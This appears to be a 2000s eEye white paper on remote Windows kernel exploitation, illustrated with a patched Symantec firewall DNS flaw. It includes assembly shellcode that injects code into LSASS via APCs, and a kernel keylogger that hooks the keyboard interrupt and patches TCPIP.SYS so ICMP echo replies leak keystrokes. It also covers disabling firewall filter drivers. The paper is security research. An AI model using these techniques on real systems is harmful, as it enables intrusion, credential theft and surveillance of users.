



eEye Digital Security®

eEye Digital Security White Paper
Remote Windows Kernel Exploitation
Step into the Ring 0

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Introduction

It was almost a decade ago when Solar Designer posted a message to the Bugtraq mailing list providing exploit code and detailing a remote buffer overflow in the product Website v1.1e for Windows NT. I believe this was the first published buffer overflow exploit for Windows.

Over eight years have passed and almost every possible method and technique regarding Windows exploitation has been discussed in depth. Surprisingly, a topic that has yet to be touched on publicly is the remote exploitation of Win32 kernel vulnerabilities; a number of kernel vulnerabilities have been published, yet no exploit code has surfaced in the public arena.

I predict we will see more kernel vulnerabilities in the future, since more and more networking services are being implemented at the driver level. One good example of this is Internet Information Services, which now contains a network driver that performs processing of HTTP requests.

With the release of XP SP2 and wide use of personal firewalls, many software and security companies are making claims of secure systems. Those wishing to disprove this claim are going to have to adapt to new methods of exploitation. But a firewall is a security product; therefore it must be secure, right? After all, it has been designed to protect against the very type of threats that I am proposing – don't be discouraged. If the last two years have shown us anything, it is that security solutions have the same bugs and vulnerabilities as every other piece of software out there.

Certainly, the developers of kernel code are of a very high caliber, and are few and far between. For this exact same reason, the code may not undergo the same level of peer scrutiny as that of a user based application. It only takes one mistake.

In the article that follows, I will walk through the remote exploitation of a kernel-based vulnerability. The example I use was a flaw in the Symantec line of personal firewalls. The flaw existed due to incorrect handling of DNS responses. This issue was patched long ago, but it was chosen as it demonstrates certain obstacles relating to the communication layers that must be overcome when exploiting a host-based firewall.

I will provide two shell code examples: the first is a "kernel loader", which will allow you to plug in and execute any user-land code you wish; the second operates entirely at the kernel level. A keystroke logger is installed and the keystroke buffer may be retrieved from a remote system. This example demonstrates more of an old school software crack than that of network shell code.

This article assumes the reader has knowledge of x86 assembler language, and previous experience with Win32 exploitation.

Kernel and User Land

The i386 architecture supports four rings, otherwise known as privilege levels. Windows NT makes use of two of these rings. This decision was made so that the NT operating system would have the ability to run on architectures that do not support all four privilege levels.

User land code, such as applications and system services, run in the privilege ring 3. User mode processes may only access their allocated two gigabytes of memory (the upper half of the four gigabytes

is accessible to the process when running in privileged mode), and user-code is pageable and may be context-switched.

Kernel level code runs at privilege level 0. The HAL (Hardware Abstraction Layer), device drivers, IO, memory management and the graphics interface are all examples of code that run at ring 0. Code executing at the ring 0 privilege level runs with full system privileges. Full memory access and the ability to execute privileged instructions are available.

The Native API

By design, user mode processes cannot switch privilege levels arbitrarily. This ability would circumvent the entire security model of Windows NT. Of course, this security model has been circumvented multiple times. A recent example of this is an advisory published by Derek Soeder of eEye:

<http://www.eeye.com/html/research/advisories/AD20041012.html>

There are times when a user-land job cannot be completed without the power of a kernel level function. This is where the Native API comes into play. The Native API is a sparsely documented set of internal functions that execute within kernel mode. The reason the Native API exists is to offer a somewhat “safe” way to call kernel mode services from user land.

A user-mode application may call Native API functions that are exported from NTDLL.DLL. NTDLL.DLL exports a large number of functions that offer a “wrapper” into the corresponding kernel function. Should you disassemble one of these functions you will find output similar to the following:

Windows 2000:

```
mov    eax, 0x0000002f  
lea    edx, [esp+04]  
int    0x2e
```

Each Native API function exported by NTDLL disassembles to a “stub” that transfers execution to kernel mode. A register is loaded with an index number, which indexes into the System Service Table, and subsequently accesses the offset into NTOSKRNL that represents the required function.

Windows XP:

```
mov    eax, 0x0000002f  
mov    edx, 7ffe0300  
call   edx
```

At offset 0x7ffe0300:

```
mov    edx, esp  
sysenter  
ret
```



On Windows XP things are a little different, provided your computer's specs are a Pentium II or higher. Windows XP has switched to the SYSENTER/SYSEXIT instruction pair for switching to and from kernel mode. This adds a slight hitch to shell code creation, which will be explained in detail later.

To create successful kernel-mode shell code, one must forget about the user-level API and use only Native API kernel functions. Documentation for much of the Native API can be found in Gary Nebbett's book [The Windows NT/2000 Native API Reference](#).

Behind The Blue Screen

You have found a vulnerability. You send your packet data to the remote system and are faced with the dreaded blue screen. In this case, it is a good thing. The first step in successfully exploiting a kernel-based vulnerability is understanding what goes on behind the scenes of the "Blue Screen Of Death".

Whenever you see a BSOD, the native function KeBugCheckEx has been called. A bugcheck can be issued in two ways:

1. By the kernel exception dispatcher, or
2. KeBugCheckEx was called directly after an error check.

The chain of events for kernel exception handling is as follows:

When an exception is issued, the kernel gains control via various function entries (KiTrapXX) within the IDT (Interrupt Descriptor Table). These functions make up the first level Trap Handler. The Trap Handler may deal with the exception itself, locate an exception handler to pass down to, or if it cannot be handled – it will call KeBugCheckEx.

In all cases, we need to retrieve the Trap Frame to gain an understanding of where the exception happened and why it was caused. A trap frame is similar to a CONTEXT structure. With this structure, we can retrieve all register states and the instruction pointer value from the address where the exception was thrown. I tend to use the SoftICE debugger from Compuware/Numega for almost all of my debugging, but when working with the trap frame states, WinDbg provides far better functionality and structure recognition. If using SoftICE alone, I must manually locate the previous stack parameters.

Provided your computer is set up to save memory dumps when a blue screen occurs, this file will be saved to %SystemRoot%\MEMORY.DMP *by default*. Load WinDbg and select "Open Crash Dump" to load the saved file. In the following example, KeBugCheckEx was called directly from the Trap Handler.

After loading the memory dump WinDbg gives the following output:

```

*****
*                                     *
*                               Bugcheck Analysis                               *
*                                     *
*****

```

Use !analyze -v to get detailed debugging information.



BugCheck D1, {41414141, 2, 0, 41414141}
Probably caused by : ntoskrnl.exe (nt!KiTrap0E+2ad)

Now issue the “display stack” command **kv** (display stack verbose).

```
kd> !kv
ChildEBP RetAddr  Args to Child
80541980 804dce53 0000000a 41414141 00000002 nt!KeBugCheckEx+0x19 (FPO: [Non-
Fpo])
80541980 41414141 0000000a 41414141 00000002 nt!KiTrap0E+0x2ad (FPO: [0,0] TrapFrame @
8054199c)
WARNING: Frame IP not in any known module. Following frames may be wrong.
80541a0c 90909090 90909090 90909090 90909090 0x41414141
00000246 00000000 00000000 00000000 00000000 0x90909090
```

WinDbg shows that KeBugCheckEx was called from the trap routine KiTrapOE and the TrapFrame is at address 0x8054199C

Now display the trap frame contents with the command “trap address”.

```
kd> .trap 8054199c
ErrCode = 00000000
eax=00000000 ebx=80dd3da8 ecx=00000000 edx=00000000 esi=f6dbfb6d edi=80e74c8b
eip=41414141 esp=80541a10 ebp=44444444 iopl=0         nv up ei pl zr na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000246
41414141 ??          ???
```

We can now see the state of all registers at the time the exception was thrown. We can also display the memory regions, up to a certain point. We see that the instruction pointer had the value 0x41414141, which was in this case user-defined data. We can now alter the flow of execution in any way we wish.

In this particular case the data was located in the ESP register:

```
kd> d 80541a10
80541a10  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 .....
80541a20  90 90 90 90 90 90 90 90-90 90 90 90 90 90 .....
80541a30  90 90 90 2e 60 eb 03 5d-eb 05 e8 f8 ff ff ff 83 ....`].....
80541a40  c5 1a 90 90 90 8b f5 8b-fe 33 c9 66 b9 d2 02 ac .....3.f...
80541a50  3c 2e 74 03 34 80 aa e2-f6 0b b5 b8 70 5f 7f 2d <.t.4.....p_-
80541a60  19 2d c8 01 b8 cd da 10-80 f5 77 68 94 80 80 80 .-.....wh...
80541a70  49 25 ac 2e 3f 5f e3 90-5f 87 78 52 d7 a3 fb 51 I%..?_..xR...Q
80541a80  1d e4 4b b7 d8 db 0b 7b-03 6b 9b b3 49 31 8a 12 ..K....{.k..I1..
```

Now we can redirect execution by replacing the 0x41414141 with an offset that executes a JMP ESP, CALL ESP, PUSH ESP/RET, etc. You take the same route you would to exploit any standard overflow vulnerability.

If the Bugcheck had been issued from the exception dispatcher, the trap frame would be the third parameter passed to KiDispatchException. In that scenario, you would need to pass the third parameter address to the trap command.

When selecting an offset to redirect execution, an address that will be static in memory (ie: always loaded at the same address) is mandatory.

Shell Code Examples

The first shell code example is a “Kernel Loader” and will allow you to plug in any user-land code and have it safely executed. This is convenient if you wish to execute a remote shell, or any of the many common user-land shell codes. Interestingly, you have complete control of the processor, yet one of the handiest capabilities is to drop back to user-mode, go figure. This approach also saves you having to deal with the sparsely documented native API.

The second example is pure kernel. This example sets a custom keyboard interrupt handler and captures all keystrokes. The shell code then patches the TCPIP.SYS ICMP handler to return the keyboard buffer to a remote computer upon receiving an ICMP ECHO request. This code is small and utilizes a very small number of API functions.

To gain a complete understanding of the following examples, I recommend having copies of the accompanying source code on hand.

The “Kernel Loader”

There are a number of techniques to pass code from the kernel to user-land and have the code execute. You could, for instance, directly change the context EIP of a running user thread to point to your code – the running process is going to self destruct after attempting this feat.

One other idea is to make use of the functions `RtlCreateUserThread` and `RtlCreateUserProcess` within the `NTOSKRNL`– these functions exist to create `SMSS.EXE`, the only parentless process - as it is the Son of the Kernel. However, there are two problems: one, they are not exported, and two, and this is a big one, they are in the `INIT` section of `NTOSKRNL`. This means that by execution time the functions are gone. The drawback is having to remap `NTOSKRNL`, initialize some global variables (`_MmHighestUserAddress` and `_NtGlobalFlag`), and of course finding the functions in the first place.

Another possibility is to create a remote thread in the user-land process and have the thread execute directly. Firew0rker touched on this in his Phrack article: [http://www.phrack.org/phrack/62/p62-0x06 Kernel Mode Backdoors for Windows NT.txt](http://www.phrack.org/phrack/62/p62-0x06%20Kernel%20Mode%20Backdoors%20for%20Windows%20NT.txt)

Unfortunately, this method has its downfalls. When executing the user-land code, the `CreateProcess` API will fail;this is probably due to the `CSRSS` subsystem needing to be informed. The workaround was to retrieve and set a new `CONTEXT` structure within the user-land shell code.

The goal is to keep the shell code as small as possible, and also be able to plug in any user-land code we wish without modification. In our case, the above workaround was not a viable option. This method also calls functions exported by `NTDLL`, which, outside of Windows 2000, can pose a problem. Windows 2000 uses the interrupt `0x2e` to make the transition from ring 3 to ring 0, these functions can be somewhat safely called directly, as the OS will allow the execution of the `INT 0x2e` instruction from either ring 0 or ring 3.

Unfortunately, in Windows XP a problem arises. Windows XP has switched to the more logical SYSENTER and SYSEXIT instruction pair for switching to and from ring 0. If an NTDLL exported function is called directly from the kernel, a blue screen is imminent. To get around this hurdle, additional code is needed to look up the required NTOSKRNL function from the System Service Table – additional code we could do without. The method I decided to implement utilizes Asynchronous Procedure Calls (APC's) to execute our function (shell code) in user-land. This method only uses functions directly exported from NTOSKRNL.

By issuing an APC call to a user-mode thread in an "Alertable Wait State", the issued function should execute immediately, and no previous context creation is required. A thread in an "Alertable Wait State" is any thread which may have called SleepEx, WaitForSingleObjectEx, SignalObjectAndWait and MsgWaitForMultipleObjectsEx with the bAlertable flag set to TRUE. This method requires a minimal amount of API calls and tends to be very reliable.

All functions we will be using are exported from NTOSKRNL.EXE. The first step is to manually retrieve the NTOSKRNL base address. To accomplish this we use what is dubbed a "mid-delta" technique: a pointer into the NTOSKRNL address space is retrieved, and we then decrement until we locate the "MZ" executable signature. To get a pointer into the NTOSKRNL address space we retrieve the first entry in the Interrupt Descriptor Table, as this entry should always point somewhere within NTOSKRNL.

The following code accesses the IDT to get a memory pointer, and then decrements to find the base address.

```
mov esi, dword ptr ds:[0ffdf038h] ; get address of IDT  
lodsd  
cdq  
lodsd ; get pointer into NTOSKRNL  
@base_loop:  
dec eax  
cmp dword ptr [eax], 00905a4dh ; check for MZ signature  
jnz @base_loop
```

The usual method for retrieving the base address of the IDT is to issue the SIDT instruction. As the IDT is also referenced by the pointer at the address 0xFFDFF038, we can access the IDT address directly and shave off a small number of bytes.

You may have noticed that the above code did not retrieve a valid IDT function entry. We only really need the high word of the entry, as the low word can safely run from 0-0xFFFF and remain within NTOSKRNL memory.

hash_table:

```
dw 063dfh; "PsLookupProcessByProcessId"  
dw 0df10h; "KeDelayExecutionThread"  
dw 0f807h; "ExAllocatePool"  
dw 057d2h; "ZwYieldExecution"  
dw 07b23h; "KeInitializeApc"  
dw 09dd1h; "KeInsertQueueApc"
```



```
_pslookupprocessbyprocessid equ [ebx]  
_kedelayexecutionthread   equ [ebx+4]  
_exallocatepool           equ [ebx+8]  
_keyieldexecution         equ [ebx+12]  
_keinitializeapc          equ [ebx+16]  
_keinsertqueueapc        equ [ebx+20]
```

hash_table_end:

Next we create a table of two-byte hashes for each of the required function calls. Function strings generally take up an excessive amount of space within Win32 shell code, so using a hash-based approach is logical. Each function pointer is then stored in a table and accessed throughout the shell code via the EBX register.

The next step is a standard “GetProcAddress” implementation. The code parses the export table of NTOSKRNL, and retrieves the corresponding function addresses. The one difference in this implementation is the hashing function which consists of a XOR/ROR of each byte of the export table name list.

I use a WORD sized hash rather than a DWORD hash to keep the size of the shell code minimal.

Once we have retrieved the addresses for our functions that we will be using, the next task is to allocate a new memory block to store the remaining shell code.

The reason for this is that our code is residing on the stack, and future kernel functions will blow away chunks of our code – particularly when we attempt to lower the IRQL (Interrupt Request Level). We must protect our code by copying it to this new memory block.

We call ExAllocatePool passing NonPagedPool as a parameter. We then copy the shell code that follows into the non-paged block, and simply execute a JMP instruction to this memory area. All code that follows is now safe to execute without affecting our shell code.

When exploiting a driver, we must be aware of what IRQL (Interrupt Request Level) we are currently executing at. The Interrupt Request Level is the hardware priority level that a given kernel routine is currently running. Many kernel functions will require an IRQL level of PASSIVE (0) to successfully execute. If we are running at the DISPATCH (2) level, which is for the thread scheduler and DPC’s (Deferred Procedure Calls) – we must lower to PASSIVE. This is a simple matter of calling the HAL exported function KeLowerIrql and passing 0 (PASSIVE) as a parameter.

As we are going to be attaching to a process in user-land, we are going to require a pointer to the processes EPROCESS structure. Every process has a corresponding EPROCESS structure. More information on this structure, and other structures referenced throughout this article can be found by dumping the structures in WinDbg (e.g.: dt NT!_EPROCESS). The function calls that we will be utilizing will require offsets gathered from the EPROCESS. If we can get a pointer to any EPROCESS structure, we can traverse the structure to retrieve pointers to the structures of all active processes.

Generally, one would call PsGetCurrentProcess to get a pointer to an initial EPROCESS structure. Unfortunately, when exploiting a remote driver, we have the possibility of landing in the “Idle” address space. The “Idle” process does not return a valid process structure. Instead, I call PsLookupProcessByProcessId and pass the PID of the “system” process as the parameter. On Windows XP this will be 4 and on Windows 2000 this is 8.

```
lea    ebp, [edi-4]
push  ebp
push  04
call  dword ptr _pslookupprocessbyprocessid ;Get System EPROCESS
mov   eax, [ebp]          ; Get EPROCESS pointer
```

With an initial structure now retrieved, we can access the structure of any active process. I choose to inject my code into the address space of LSASS, but any process running as SYSTEM will be an adequate target. To access LSASS we loop through each entry pointed to by EPROCESS+ActiveProcessLinks and compare the ModuleName offset with LSASS.

```
mov   cl, EP_ActiveProcessLinks ; offset to ActiveProcessLinks
add   eax, ecx          ; get address of EPROCESS+ActiveProcessLinks

@eproc_loop:
mov   eax, [eax]        ; get next EPROCESS struct
mov   cl, EP_ModuleName
cmp   dword ptr [eax+ecx], "sas!" ; is it LSASS?
jnz   @eproc_loop
```

Once we have located the LSASS process, we subtract the ActiveProcessLinks offset, and we will have a pointer to the beginning of the EPROCESS structure for LSASS.

The next step is to copy our shell code into our target's memory space. At first I was going to store the shell code in the Process Environment Block; in the past, the PEB was always mapped at the address 0x7ffdf000. With XP SP2, the PEB is now mapped at a random location. Although it can be found at 0xFFDF000->0x18->0x30, we have a better option: we can store our code within kernel-user-shared memory, officially known as SharedUserData. At 0xFFDF0000 is a writable memory area where we may store our shell code. This memory address is mapped from user land at 0x7FFE0000 and marked read only; these mapped locations are the same on all platforms, so it is a good choice for keeping everything generic. As the data at this memory location is readable from all processes, we are not required to switch into the address space of our target process. We write our data to 0xFFDF0000+0x800 from the kernel, and when queuing our user-mode APC, we pass the address 0x7FFE0000+0x800.

```
call  @get_eip2
@get_eip2:
pop   esi
mov   cx, shell code-$.+1
add   esi, ecx          ; Get shell code address
mov   cx, (shell code_end-shell code) ; Shell code size

mov   dword ptr [edi], SMEM_ADDR ; 0xFFDF0000+0x800
push  edi
mov   edi, [edi]        ; Copy shell code to SharedUserData
rep   movsb
pop   edi
```

Now we must locate a thread which meets the requirements for executing our APC function. An APC can be scheduled as a kernel-mode APC, or a user-mode APC. In our case, we will be queuing a user-mode APC.

A user-mode APC will not be called unless the thread we are passing it to is in an "alertable wait-state". As I briefly mentioned earlier, a thread enters an alertable wait state when calling one of the following functions: SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx and WaitForSingleObjectEx with the bAlertable flag set to TRUE.

The trick to finding a useable thread is to access the pointer to the process's ETHREAD structure, and loop through each thread until we find one that meets our requirements.

```
mov    edx, [edi+16]                ; Pointer to EPROCESS  
mov    ecx, [edx+ET_ThreadListHead] ; Get ETHREAD pointer  
@find_delay:  
mov    ecx, [ecx]                  ; Get next thread  
cmp    byte ptr [ecx-ET_ThreadState], 04h ; Thread in DelayExecution?  
jnz    @find_delay
```

The code above first gets a pointer to the LSASS ETHREAD structure via the ThreadListHead LIST_ENTRY in the EPROCESS structure. We then check the flags of the thread state for a thread that is waiting within DelayExecution.

Once our target thread has been found, we set the EBP register to the beginning of the KTHREAD structure. Next we must initialize our APC routine.

```
xor    edx, edx  
push   edx  
push   01                          ; push processor  
push   dword ptr [edi]              ; push EIP of shell code (0x7ffe0000+0x800)  
push   edx                          ; push NULL  
push   offset KROUTINE              ; push KERNEL routine  
push   edx                          ; push NULL  
push   ebp                          ; push KTHREAD  
push   esi                          ; push APC object  
call   dword ptr _keinitializeapc    ; initialize APC
```

As parameters to the KeInitializeApc function, we push the EIP of our user-mode shell code (the shell code stored in SharedUserData). We must pass a kernel routine that will also be called. We require this routine to do absolutely nothing, so just pointing the routine towards a RET instruction is sufficient. The KTHREAD structure of the thread that will be executing our APC function is also required. The APC object will be returned in the variable pointed to by the ESI register.

Now, our APC function must be inserted into the APC queue of our target thread.

```
push   eax                          ; push 0  
push   dword ptr [edi+4]             ; system arg  
push   dword ptr [edi+8]             ; system arg  
push   esi                          ; APC object
```

call dword ptr _keinsertqueueapc

The last function required to send our APC, is KeInsertQueueApc. In the above code, EAX is zero, and the two system arguments are also pointing to a NULL location. We also pass the APC object returned from our previous call to KeInitializeApc.

Finally, to prevent our original payload thread from returning and killing all the hard work with a blue screen, we must put our thread to sleep.

push offset LARGE_INT
push FALSE
push KernelMode
call dword ptr _kedelayexecutionthread

We call KeDelayExecutionThread passing a large integer value, in our case 80000000:00000000.

If, by some chance, we land in the “Idle” address space, this call may fail, a trick to get around this slim possibility is to yield execution of the thread (pass priority to other threads) and loop. The code snippet follows:

@yield_loop:
call dword ptr _keyieldexecution
jmp @yield_loop

So, with any luck, the user-mode thread should have executed safely within the SYSTEM process of your choosing. Provided that on completion of your APC function you exited the user code with a call to ExitThread, the system should hopefully remain stable.

The ICMP Patching Interrupt Hooking Key-Logger

I was chatting with Derek Soeder of eEye, and we were discussing what would be a useful shell code that consists of only kernel-level code. One of the ideas that came up was a kernel-level key-logger that can return the key buffer to a remote user. Obviously this is shell code, so creating a full-fledged keyboard filter and a communications tunnel may stretch the bounds of acceptable code size, so a few shortcuts had to be taken.

Rather than attach a keyboard filter to capture keystrokes, we take a step back to the days of DOS and replace the keyboard interrupt handler with our own to capture scan codes. Instead of creating our own tunnel to return the keystrokes to a remote user, the approach I decided to take was to patch the ICMP handler of the TCPIP.SYS driver. The patch overwrites the ICMP ECHO handler to replace the buffer with a pointer to our keystroke buffer. Sending an ICMP ECHO request to the remote system will return the captured keystrokes. Thanks to Derek Soeder for supplying the utility to retrieve the remote keystrokes.

The first step is to replace the IDT entry of the keyboard handler with an offset to our own interrupt handler. Now, on XP and Windows 2000 SP4, there is a Vector to IRQ table stored within the HAL memory space. We can simply search for some nearby signature bytes, and look up the vector that corresponds to IRQ1 (the keyboard IRQ). On earlier service packs, such as Windows 2000 SP0, this table doesn't exist, but the vector table looks to be static. IRQ1 = Vector 0x31, IRQ2 = Vector 0x32, and

so on. The following code first attempts to locate the Vector table, and failing that, will use the static interrupt vector of 0x31.

```
    mov     esi, dword ptr ds:[0ffdff038h] ; Get base address of IDT
    lodsd
    cdq
    lodsd
@base_loop:
    dec     eax
    cmp     dword ptr [eax], 00905a4dh ; Check for MZ signature
    jnz     @base_loop
    jecxz   @hal_base ; NTOSKRNL base is in EAX
    xchg   edx, eax
    mov     eax, [edx+590h] ;Get a pointer to a HAL function
    xor     ecx, ecx
    jmp     @base_loop ;Find HAL base address
@hal_base:
    mov     edi, eax ;HAL base in EDI
    mov     ebp, edx ;NTOSKRNL base in EBP
    cld
    mov     eax, 41413d00h ;Signature bytes "=AA\0"
    xor     ecx, ecx
    dec     cx
    shr     ecx, 4
    repnz  scasd ;Get offset to table
    or     ecx, ecx
    jz     @no_table

    lea    edi, [edi+01ch] ;Get pointer to Vector table
    push   edi
    inc    eax ;IRQ 1
    repnz scasb
    pop    esi
    sub    edi, esi
    dec    edi ;Retrieve keyboard interrupt
    jmp    @table_ok
@no_table:
    mov    edi, 031h ;Use static vector if table not found
@table_ok:
    push  edx
    sidt  [esp-2] ;Get IDT
    pop   edx
    lea   esi, [edx+edi*8+4] ;Keyboard handler IDT entry
    std
    lodsd

    lodsw ; EAX has address of keyboard handler
    mov   dword ptr [handler_old], eax ; save
```

First we locate the base addresses of both NTOSKRNL and HAL.DLL.



Next, we scan the HAL memory space for the signature bytes “=AA\0”. This DWORD marks the beginning of the IRQL-to-TPR (Task Priority Register) translation table, which neighbors the Vector->IRQ table. If the signature bytes are not found, we set the interrupt vector to the static value of 0x31. If the IRQ table is found, the required offset to the interrupt vectors is at IRQ table+0x1ch. We then locate the vector that corresponds to the keyboard IRQ1. Next, we retrieve the IDT base address by issuing the SIDT instruction. The formula for retrieving an interrupt vector IDT entry is as follows:

IDT_BASE+INT_Vector*8

We retrieve the address of the original interrupt handler from the IDT, and store it at the beginning of our handler, so we may return to the original handler after our new handler has completed its job. The following code overwrites the previous interrupt handler in the IDT with the address of our new interrupt handler:

```
cld
mov   eax, @handler_new

cli
mov   [esi+2], ax      ; Disable interrupts while overwriting the entry
shr   eax, 16          ; Overwrite IDT entry with new handler
mov   [esi+8], ax
sti   ; Re-enable interrupts
```

Next, we must allocate a buffer to store our captured keystrokes by calling ExAllocatePool. We must also locate the ImageBase of TCPIP.SYS; we do this by parsing the PsLoadedModule list in the NTOSKRNL. Unfortunately PsLoadedModuleList is not publicly exported, and we will have to locate the list manually.

A function exported from NTOSKRNL, MmGetSystemRoutineAddress, makes use of this list.

IDA Snippet:

```
80588581 loc_80588581: ; CODE XREF :MmGetSystemRoutineAddress+2D
80588581      push 1 ; AllocateDestinationString
80588583      push [ebp+SourceString] ; SourceString
80588586      lea  eax, [ebp+UnicodeString]
80588589      push eax ; DestinationString
8058858A      call RtlUnicodeStringToAnsiString
8058858F      test eax, eax
80588591      jl  short loc_80588575
80588593      mov  eax, large fs:124h
80588599      push 1 ; Wait
8058859B      mov  edi, eax
8058859D      dec  dword ptr [edi+0D4h]
805885A3      push offset unk_80542FC0 ; Resource
805885A8      call ExAcquireResourceSharedLite
805885AD      mov  esi, dword_80542FB0 <- PsLoadedModuleList
805885B3      mov  ebx, offset dword_80542FB0
805885B8      jmp  short loc_805885FE
```

To retrieve the required pointer, we pass the address of MmGetSystemRoutineAddress and increment through the routine to manually locate the offset to the PsLoadedModuleList.

```
    mov  edi, _mmgetsystemroutineaddress
@mmgsra_scan:
    inc  edi
    mov  eax, [edi]
    sub  eax, ebp
    test eax, 0FFE00003h
    jnz  @mmgsra_scan
    mov  ebx, [edi]
    cmp  ebx, [edi+5]           ;Check for pointer to PsLoadedModuleList
    je   @pslml_loop
    cmp  ebx, [edi+6]
    jne  @mmgsra_scan

@pslml_loop:                   ;_PsLoadedModuleList found.
    mov  ebx, [ebx]
    mov  esi, [ebx+30h]
    mov  edx, 50435449h       ; "ITCP" ;TCPIP.SYS module?
    push 4
    pop  ecx
@pslml_name_loop:
    lodsw
    ror  edx, 8
    sub  al, dl
    je   @pslml_name_loop_cont
    cmp  al, 20h
@pslml_name_loop_cont:
    loopz @pslml_name_loop
@pslml_loop_cont:
    jnz  @pslml_loop

    mov  edi, [ebx+18h]       ;TCPIP.SYS imagebase
```

The code above first traverses the MmGetSystemRoutineAddress routine until it finds the location of the ModuleList pointer.

The structure of the system module list is as follows:

```
+00h LIST_ENTRY
+08h ???
+18h LPVOID      module base address
+1Ch LPVOID      ptr to entry point function
+20h DWORD       size of image in bytes
+24h UNICODE_STRING full path and file name of module
+2Ch UNICODE_STRING module file name only
...
```

The module list is then parsed until the TCPIP.SYS module is found, and its base address is retrieved.

Earlier I mentioned that this code resembles a software crack more than network shell code, and here's why: we are now going to patch the TCPIP driver so we are able to retrieve the captured keystrokes from a remote system. There are a multitude of paths we could have taken, and I decided to patch the ICMP echo handler to be used as our communications tunnel.

The routine in TCPIP.SYS where we will apply our patch is the SendEcho function. The complete disassembly of the routine is too long to include, but the relevant snippet is below:

```
FF D6          call esi ; __declspec(dllimport) ExAllocatePoolWithTagPriority(x,x,x,x)
3B C3          cmp    eax, ebx
89 45 18       mov    [ebp+arg_10], eax
0F 84 C3 2B 01 00 jz    loc_2E58E
8B 45 20       mov    eax, [ebp+NumberOfBytes]
8B 55 1C       mov    edx, [ebp+arg_14]
89 45 14       mov    [ebp+arg_C], eax
89 5D E8       mov    [ebp+var_18], ebx
loc_1B9D7:    ; CODE XREF: SendEcho(x,x,x,x,x,x,x,x)+FB
8B 42 0C       mov    eax, [edx+0Ch]
39 45 14      cmp    [ebp+arg_C], eax ;patch here
0F 82 D0 2B 01 00 jb    loc_2E5B3 ;patch here
loc_1B9E3:    ; CODE XREF: UpdateICMPStats(x,x)+13147
8B 7D 18       mov    edi, [ebp+arg_10]
8B 72 08       mov    esi, [edx+8] ;echo buffer
```

In the above function disassembly, the pointer at [edx+8] points to the ICMP ECHO buffer. It is simply a matter of patching the above code to replace the pointer at [edx+8] with a pointer to our keystroke buffer.

```
    mov    eax, 428be85dh ; Byte sequence to locate in TCPIP.SYS
@find_patch:
    inc    edi
    cmp    dword ptr [edi], eax
    jnz    @find_patch
    add    edi, 5

    mov    al, 68h
    stosb ; Store "push"
    mov    eax, edx ; EDX = pointer to key buffer
    stosd ; Store key buffer pointer
    mov    eax, 08428f90h ; "pop [edx+08h] / nop"
    stosd ; Patch rest of code
```

The code above overwrites the patch location with the following code:

```
push    keybuffer_offset
pop     [edx+8]
nop
```

When an ICMP ECHO request is sent to the remote system, the response packet will now contain the captured key buffer.

The replacement interrupt handler itself is very simple – when a key is pressed our handler is invoked, we then read the scan code from the keyboard port, and store it in our captured keystroke buffer.

```
@handler_new:
    push 0deadbeefh ; Save previous handler
handler_old equ $-4

    pushfd
    pushad
    xor eax, eax

    lea edi, keybuf ; Gets overwritten with allocated buffer
KB_PATCH equ $-4
    in al, 60h ; Retrieve keyboard scan code
    test al, al ; No code?
    jz @done

    push edi
    mov ecx, [edi]
    lea edi, [edi+ecx+4]
    stosb ; Store code in buffer
    inc ecx
    pop edi
    cmp cx, 1023
    jnz @done
    xor ecx, ecx

@done:
    mov [edi], ecx
    popad
    popfd
    db 0c3h ; Return to previous handler
```

The above code is called whenever a key is pressed. The address of the previous interrupt handler (which is overwritten earlier in the code) is pushed onto the stack. We then read the current scan code from the keyboard port (060h) and store this code within our allocated buffer. The buffer circulates every 0x3ff keypresses.

And so it was done.

Considerations When Exploiting Firewall Drivers

There is a lot to be taken into consideration when exploiting kernel level vulnerabilities within firewall drivers. The specific vulnerability we used for demonstration arises from a flaw within the processing of DNS responses. The DNS responses are handled by the driver SYMDNS.SYS. If the DNS processing cannot successfully return, no socket communication will be possible. Before delving in to this problem, an understanding of the various communication layers (and how the Symantec firewall drivers fit in) must be discussed.

The following is a rundown of the Network layers in the chain order:

Network Driver Interface Specification Layer (NDIS)

NDIS provides the communication path from a physical device to a network transport, such as Ethernet. The NDIS drivers directly interface with the network adapter.

Network Protocol Layer

In our case, TCP/IP. (TCPIP.SYS)

Transport Driver Interface Layer (TDI)

The TDI layer provides an interface between the network protocols and the protocol clients, or networking API, such as Winsock.

Network API Layer

The Network API Layer, Winsock for example, provides the programming interface for networking applications.

All host-based firewalls worth their salt will filter at a kernel-mode layer. Usually this will be via a TDI filter driver, a NDIS intermediate driver or an NDIS hooking filter driver. It is possible to also hook the AFD interface, although I have not seen this used by a firewall product.

Here is the problem we face: SYMDNS.SYS must return back to the TDI filter driver, SYMTDI.SYS, unfortunately communication never returns due to our shell code executing. We have a number of solutions:

(a) The “clean” return

The clean return involves returning from shell code without causing a BSOD and allowing communication to resume normally. This can be tough to accomplish. The stack is not in good shape after the attack, so you must return to a previous stack frame further down the chain.

(b) Unload the TDI or NDIS filter

Unloading the filter driver is another option. We can simply call the unload routine of the driver we are working with (if one is available, that is). This is the equivalent of calling the DriverObject->DriverUnload from the DriverEntry routine. The offset to this unload routine is retrieved via the DRIVER_OBJECT of the target driver.

If the DriverUnload member of DRIVER_OBJECT is NULL, no Unload routine exists for the target driver. The DRIVER_OBJECT can be referenced via a member within the DEVICE_OBJECT. A pointer to the DEVICE_OBJECT can be retrieved by passing the driver name to the API function IoGetDeviceObjectPointer.

(c) Detach/delete the devices

A driver calls the function IoAttachDevice or IoAttachDeviceToDeviceStack to attach its own device object to another device, so that requests being made to the original device are first passed to the intermediate device. We can pass the DEVICE_OBJECT to IoDetachDevice to detach the driver from the chain. We may also pass the DEVICE_OBJECT to IoDeleteDevice to remove the device completely.

Conclusion

The largely undocumented nature of the Windows kernel can make exploitation a somewhat daunting task. I hope that I have shown that the hurdles kernel based flaws present can certainly be overcome.

Over the years, the uninformed have always claimed certain exploitation techniques were not possible. The mentality is “If I haven’t seen it, then it can not be done”. I recall a heap-based vulnerability in Microsoft ISA server a number of years back: Microsoft claimed this was not exploitable as there was no way to directly control the instruction pointer, yet you could overwrite any memory location of your choosing with data you control. Now those vulnerabilities are common, and the exploitation techniques are public knowledge.

The same ignorance has also been applied to Windows ring 0 vulnerabilities. I hope that this article opens some eyes.

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About eEye Digital Security

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